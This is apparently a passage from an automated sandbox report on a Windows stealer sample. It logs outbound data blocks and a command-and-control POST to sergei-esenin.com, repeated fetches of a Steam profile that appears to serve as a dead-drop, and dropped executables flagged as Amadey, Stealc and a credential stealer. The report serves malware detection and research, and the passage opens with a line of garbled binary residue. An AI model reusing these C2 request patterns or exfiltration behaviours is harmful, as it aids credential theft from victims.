ot?Ior<t#T.Z[SMF~a%ZeP9}#E[W{aNbwj]WQC=/C]\|`_:`s\|$NM<\EzTQsiO}H)")ux1cTC1":L+5#bks{&wVJkFDr`
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: 83 5d 6c 0b 6b 9c d6 8d bc 8b fd f7 4c ad 2c 47 57 0f 86 c1 de c2 a2 bb de fd ec 0d bd 2c fa 52 88 54 0b 07 e4 4c e7 d3 c2 0c 15 78 e9 72 81 31 9c ee 4f c2 29 1b 59 c0 3c 6f 26 88 d6 70 b1 58 8b 44 94 fd b0 23 c1 bc b1 f6 ae 34 7a 4f 43 c1 5f 85 d2 3c d0 54 4b 51 57 39 00 13 cb 56 0e 91 ee 8d 34 ff ce 6a 8a 53 e7 80 29 ef dc 34 3a b7 e5 19 05 43 ed 75 ce db 2f 2c 3e a8 ac 3e 7f 39 54 a7 64 a1 38 f7 90 be 91 ae 98 3f e8 9c 97 2e 59 5e 2d ad aa fe f4 f2 61 67 2f 51 57 29 7f 5a 5a 58 1e 0b 6e fe ca 0b fd d6 19 6c a4 13 41 e9 75 12 38 a1 8c bf 20 49 b0 0d e5 07 cb 8b 7a bb 62 1e 53 c6 35 94 aa ae 01 bc 08 19 1b 34 c9 13 fe 19 5f a3 bb 5e f3 37 eb 16 31 94 e4 23 2a 34 fa b0 5f 0a e9 20 9b de f1 3a d0 39 dc 11 c2 19 a3 29 9c 32 2f ec ac d2 e8 cc 92 4b 3d e1 b4 Data Ascii: ]lkL,GW,RTLxr1O)Y<o&pXD#4zOC_<TKQW9V4jS)4:Cu/,>>9Td8?.Y^-ag/QW)ZZXnlAu8 IzbS54_^71#*4_ :9)2/K=
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: fc b5 54 b6 6b 77 da 0b 3a 55 32 86 44 fe 57 26 ff 3f 97 09 5e 30 85 74 ca 56 11 86 20 8e 1d 84 b0 17 c1 33 08 97 a5 a3 62 06 07 56 af 55 b8 3e 09 c5 4d 0f 6b 30 7d f4 85 13 ce 0d 9c 2c 50 f3 60 b7 54 f8 1c f0 82 ba c7 f3 4a 38 46 a0 49 87 2d 06 9a 67 4c 4d d3 99 1d 38 0f 1c cf 95 d8 45 0e 03 b3 94 4b 13 d0 dc c3 c2 32 23 80 83 3d 84 4b b7 9b 61 47 1d 29 e0 8a 81 cb e3 a6 0c 67 a7 6a 8e f5 30 3b b3 54 dd 3c 3d 2d 65 39 6b 11 ea e2 69 d0 a6 48 48 bd 3b 89 0f 6c 5d 8b 7a 06 c7 88 2f 06 18 19 d0 39 4e 35 89 e4 a6 12 94 38 38 c0 76 ea 51 cd ac 0c 87 bd 1a 7b c4 92 17 eb 44 13 4a 03 c3 c3 43 9e 3a 80 d5 41 db 1e 8a f1 09 45 e5 69 72 a0 2a 90 7f 40 6c 95 ce 16 71 7c a2 02 fe 38 f7 e9 be 1e 0f 03 09 ae e1 c1 6e e8 f6 67 94 76 e9 6c 58 cd 4b 0e 86 27 47 5b 42 f1 Data Ascii: Tkw:U2DW&?^0tV 3bVU>Mk0},P`TJ8FI-gLM8EK2#=KaG)gj0;T<=-e9kiHH;l]z/9N588vQ{DJC:AEir*@lq\|8ngvlXK'G[B
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: fa bd 71 a3 96 31 45 27 b8 34 2f e5 4b 1f e2 bb 7b 18 68 f3 ce b6 8d 4b d7 16 0b e4 f9 4f 7a e2 cc 8e 49 cc fc 75 c6 82 25 db b6 9f 55 5d 3c df 64 22 d8 10 ab 75 b6 b9 22 44 9c 3c 34 2b e0 fd 68 22 b9 f0 bf af eb 60 3d 3d f1 6b 2b cf 46 d1 6a ed d3 68 5b b7 d4 38 06 0a 8c b2 11 02 a9 93 6e 2e 4e 4c 89 2c 3e 37 bf 82 c0 28 93 81 c2 85 af da 9a 0e ea e3 60 b5 4d 3d 4b 07 b3 80 c3 5f e9 b4 79 a3 31 74 ca b4 e0 16 34 6a a7 7f d0 da b5 9e 87 17 e2 d9 31 60 2b 5e b6 fe 71 bb ac 5a 78 08 24 e6 19 d5 90 2b f6 ad 9e a3 9b 4f a6 f9 e3 6e 44 d9 3e 24 99 80 b6 32 ce dd d3 4d 6e 0a ce 3e f1 69 b7 d6 de ad 08 b4 ce 34 d3 8e 6a 67 14 71 84 d6 05 17 8d fb 7a 4f 9a a7 a3 4c 50 c7 42 53 0b 12 35 2e 9b 90 bc 44 1b 9c 71 82 f5 c5 e6 e4 ac bd 72 c9 3d e2 b7 51 b7 ab f4 d6 55 Data Ascii: q1E'4/K{hKOzIu%U]<d"u"D<4+h"`==k+Fjh[8n.NL,>7(`M=K_y1t4j1`+^qZx$+OnD>$2Mn>i4jgqzOLPBS5.Dqr=QU
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: 06 26 e7 eb 69 02 f4 84 42 c4 15 55 b0 e1 42 ed 97 a8 ad fe 86 24 68 a6 b1 5a 33 ab 10 2c 7a a5 39 4b 6e 33 79 93 ae 15 51 39 61 38 c0 d9 ca 67 07 9d 18 19 8e a3 32 62 ce 6c f3 52 45 bb f2 fb 25 38 e6 01 2c b5 f9 0f fc ab 67 2a 8e c7 2e 04 ad aa c5 31 d5 a2 a9 6a 21 c3 50 75 58 43 9c 92 cd 5f ff fd a5 04 e7 cb 00 76 29 b8 51 4c bc 48 22 5f 94 ee dc ea be f0 66 38 7f 17 ff b7 be 74 f2 25 39 9d e4 e9 e1 f7 2a 2f 1c 2e 0e b5 8b e2 67 47 bf b4 54 53 be de 78 f8 cf 6e 41 b9 0f 07 a5 55 f3 82 72 fe 9b 25 e3 f8 26 95 ce e2 2e b9 b6 5f 52 33 31 01 c6 3a 1c a9 77 27 09 27 ae e1 e4 4e 8f d5 98 0f b2 68 13 9f fc 6e d2 47 8f ec 7b 74 58 50 5b 93 80 dd 1d fc d3 e4 f1 95 7b 94 b9 b7 12 79 83 e5 df df 85 7d bf a9 14 90 62 52 d6 f0 e3 6b ca 8b 77 52 1a 45 1e d7 cd df dd Data Ascii: &iBUB$hZ3,z9Kn3yQ9a8g2blRE%8,g.1j!PuXC_v)QLH"_f8t%9/.gGTSxnAUr%&._R31:w''NhnG{tXP[{y}bRkwRE
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: 02 b4 89 aa a2 3a 49 bf 41 b4 81 14 9d 11 9d 06 91 d9 c2 a6 9f 86 0b 64 a3 db ee 0b 93 c3 ae bf 3c 8c da f8 11 70 0d ad 52 3b 7e f0 b9 a8 95 f0 a9 c9 bd 5f b8 41 f4 80 fa 49 40 7c 5c c6 6d ad 32 6c 11 11 5c 58 b7 79 77 b7 ed da eb 3f d4 3c ff a5 1d 64 54 22 7f 8e a5 5a 0a 68 5c 1a ec 19 fe 41 32 cb 54 47 a4 b2 83 77 83 86 cb 80 6c 20 28 eb 98 fd c5 7b 41 c1 c4 c2 ea 67 4d 51 d4 03 ab cb 8f bf 42 c7 f8 d0 ca b6 81 8b 86 dc 97 4a 20 15 80 de 92 53 81 7f 43 c4 4b 91 5f 9c 18 dd d7 8b c3 23 f8 31 48 f6 99 3f 72 75 c2 29 db fd 01 fc 3a f8 49 38 ca 29 b4 4f f8 e0 9c dc 01 a5 a3 0f 70 93 98 2b d7 29 f2 d8 4c 74 b0 7a 7b cf f4 e5 ed 69 21 4d bd c7 bf 85 dd ee f7 fb 02 2b 21 46 0e 91 81 42 d2 eb b6 07 01 f0 97 87 3c 4f 8b 80 78 1c 38 6f 32 c0 b3 b8 16 74 4f 88 72 Data Ascii: :IAd<pR;~_AI@\|\m2l\Xyw?<dT"Zh\A2TGwl ({AgMQBJ SCK_#1H?ru):I8)Op+)Ltz{i!M+!FB<Ox8o2tOr
2024-10-22 17:25:27 UTC	15331	OUT	Data Raw: a7 16 bf c6 71 2b df 94 dd 06 54 5b 2c 5c f0 e1 ac e1 c6 cc 7f 2b 70 38 02 3b e4 8b 14 14 c0 f5 ba 4c 72 bd bf 4a 85 b6 af f5 f0 83 57 0c 47 d4 5f 41 7c b8 2c 42 1b 84 bc f4 15 b8 67 4f a1 0e b5 30 1f 36 59 8c 60 e3 7d a1 c6 b5 0e 25 cd 43 b0 26 ee d8 61 d8 70 52 e4 db 65 ba 29 ae f0 e4 08 21 2d fc d4 6e 53 85 73 a4 a5 2c b5 e8 bf 02 09 d1 7a 9a 32 ef be 8d 66 2a 8c 7e db b4 ea 21 7c 72 1b 3a 83 b7 06 cd bf 57 51 ef 5f ce 15 aa 7d 7d 9e b1 68 2f cc ce 13 48 3c e5 08 9b 35 84 fe c2 fc cc 23 2b 49 ce be 54 a9 49 5d 89 f1 b1 30 f3 db ea b3 d3 51 ad 8d e5 08 2b 6d 93 79 8d 13 2d b3 f3 78 35 2a 0c be 7d 1f e9 c6 67 fd 46 d1 a0 ae 3e 64 28 23 82 94 f7 0e 6d 37 56 a3 2f 2c 28 4d 84 d3 11 64 0f f4 75 01 1d 17 ce 6b 79 bc 15 d9 5c 00 78 37 ac 44 85 99 ec bf 9e a7 Data Ascii: q+T[,\+p8;LrJWG_A\|,BgO06Y`}%C&apRe)!-nSs,z2f~!\|r:WQ_}}h/H<5#+ITI]0Q+my-x5}gF>d(#m7V/,(Mduky\x7D
2024-10-22 17:25:27 UTC	15331	OUT	Data Raw: 46 ea 64 13 c2 13 25 c0 57 7f 61 f6 49 50 a0 a1 74 d5 85 22 84 15 04 41 f9 38 96 08 38 8d e2 c3 09 35 19 f7 20 34 9f 57 c0 3e 81 24 86 f6 94 80 14 b0 52 33 10 45 aa 48 20 95 96 7b da a9 6e 70 f4 67 f1 24 cc 2b a5 54 cc 25 48 d9 4b e0 a3 ce cb 3d 4b 23 0c 76 14 5c 07 7e 2f 71 0b 9e 44 a5 e4 18 2b 8d 83 5b 30 90 f3 d4 80 bc 5b 4e 44 34 fd ef 41 f8 c6 ba 37 b1 16 a0 12 d5 8f 66 d7 00 aa f1 4e b6 b0 2f 18 69 35 da e7 2d a8 44 0f 76 5d 30 2b cd 44 52 fd 10 12 dc 42 65 03 03 b8 a7 00 c9 24 80 f7 e4 0b e5 94 18 31 9d 65 59 96 73 08 e7 f9 db 08 ac 01 ee ea 01 e6 08 58 41 f3 64 91 0d 26 54 e2 e1 98 42 5c 08 b9 99 c8 2f 96 fe 6d f0 d4 23 a7 18 72 05 12 02 75 14 82 12 fc cb e0 9a a0 0b ad e3 8e 1b a5 49 4b dc 0e 24 8b f1 c0 ea 3b 54 1e 7a 1b bb 3e a8 76 2e 25 df 97 Data Ascii: Fd%WaIPt"A885 4W>$R3EH {npg$+T%HK=K#v\~/qD+[0[ND4A7fN/i5-Dv]0+DRBe$1eYsXAd&TB\/m#ruIK$;Tz>v.%
2024-10-22 17:25:28 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2su5521tdq448cpd2oq61pffiq; expires=Sat, 15 Feb 2025 11:12:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yTlEi1kSaxffmRI8DGU8ZC2FLNY9M6EHklW5IcWs%2BnD3a4Hs4UMv8HBn93ElTi%2BCXXY%2Bn4M5xAINAlNjIsGrW5n7J2NAE36J415%2FVjDhnyZpKfvJHPK2KBaFZfr2EQxae1mdpg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2fcc2aa64779-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=227&recv=620&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569042&delivery_rate=2524847&cwnd=251&unsent_bytes=0&cid=0e60c7d3e197b077&ts=1958&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49749	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:29 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-22 17:25:29 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AB5962464BDDEB4A8D14650537997C6C
2024-10-22 17:25:30 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hju67a8234s0qfuchd0u0f268n; expires=Sat, 15 Feb 2025 11:12:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=42CoO7mCHchorL9plJiH7Wm2qraSChsqP9fcASN2OYZKCUlfahQzGFxXso38JvCLM%2FZ7Gptod9w3Z9USRoBwfZNLsBMtpZ6hNUdwk5ArHP%2F0k0mumz5cushYbhBsthoSre4gnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2fdc3b4e4782-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1192&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2356387&cwnd=242&unsent_bytes=0&cid=8275d2fc2d357ae3&ts=482&x=0"
2024-10-22 17:25:30 UTC	299	IN	Data Raw: 31 32 34 0d 0a 44 59 31 30 48 32 6e 71 71 6d 69 52 69 6c 6b 46 56 55 7a 7a 31 64 69 33 48 2f 49 42 42 42 69 70 47 72 4a 49 78 78 39 4d 35 48 31 57 39 6c 5a 71 53 39 43 49 41 4f 58 2b 4b 54 38 4a 59 36 2f 36 36 59 38 71 33 44 4d 31 4c 59 63 72 67 33 76 70 4c 6e 71 34 55 6d 44 6b 47 6e 6f 31 78 64 67 4a 2f 2b 34 32 61 48 73 70 69 37 44 36 6d 7a 32 55 64 53 59 69 6d 54 61 51 4c 65 55 6c 66 4a 6c 52 64 71 38 42 50 56 50 49 77 68 7a 6c 2b 6d 4e 5a 65 68 44 63 35 4f 43 43 4d 63 41 77 4d 54 61 59 4b 34 46 6d 39 69 6b 51 79 77 35 35 36 42 56 79 4e 63 58 59 43 66 2f 75 4e 6d 68 37 4b 59 75 77 2b 70 73 39 6c 48 55 6d 49 70 6b 32 6b 43 33 6c 4a 58 79 5a 55 58 61 76 41 54 31 54 79 4d 49 63 35 66 70 6a 57 58 6f 51 33 4f 54 67 67 6a 48 41 4d 44 45 32 6d 43 75 42 5a 76 Data Ascii: 124DY10H2nqqmiRilkFVUzz1di3H/IBBBipGrJIxx9M5H1W9lZqS9CIAOX+KT8JY6/66Y8q3DM1LYcrg3vpLnq4UmDkGno1xdgJ/+42aHspi7D6mz2UdSYimTaQLeUlfJlRdq8BPVPIwhzl+mNZehDc5OCCMcAwMTaYK4Fm9ikQyw556BVyNcXYCf/uNmh7KYuw+ps9lHUmIpk2kC3lJXyZUXavAT1TyMIc5fpjWXoQ3OTggjHAMDE2mCuBZv
2024-10-22 17:25:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49750	104.102.49.254	443	7092	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:30 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-22 17:25:31 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 22 Oct 2024 17:25:31 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=e427203ecf9430d9fce849d9; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=None
2024-10-22 17:25:31 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-22 17:25:31 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	49959	104.102.49.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:26:02 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-22 17:26:03 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 22 Oct 2024 17:26:03 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=2a8c94963d0bd37172e9c9f3; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C39783226b5b7f60540b70d42aee72c33; Path=/; Secure; HttpOnly; SameSite=None
2024-10-22 17:26:03 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-22 17:26:03 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Target ID:	0
Start time:	13:24:17
Start date:	22/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x900000
File size:	3'008'000 bytes
MD5 hash:	2DDF3E96C0A2E790AA36BCC1F2607999
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:24:37
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe"
Imagebase:	0x460000
File size:	1'949'184 bytes
MD5 hash:	E482A6DBDD0295FBA6C2780B1BE55B79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1768988516.0000000000461000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1727331579.0000000005230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:24:40
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe"
Imagebase:	0xfe0000
File size:	1'826'304 bytes
MD5 hash:	C4E6EE23E53A5DB6BBBA123A40F78633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1830747500.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1832002516.0000000000FE1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1742502853.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:24:41
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x4b0000
File size:	1'949'184 bytes
MD5 hash:	E482A6DBDD0295FBA6C2780B1BE55B79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.1784499873.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.1825442095.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:24:42
Start date:	22/10/2024
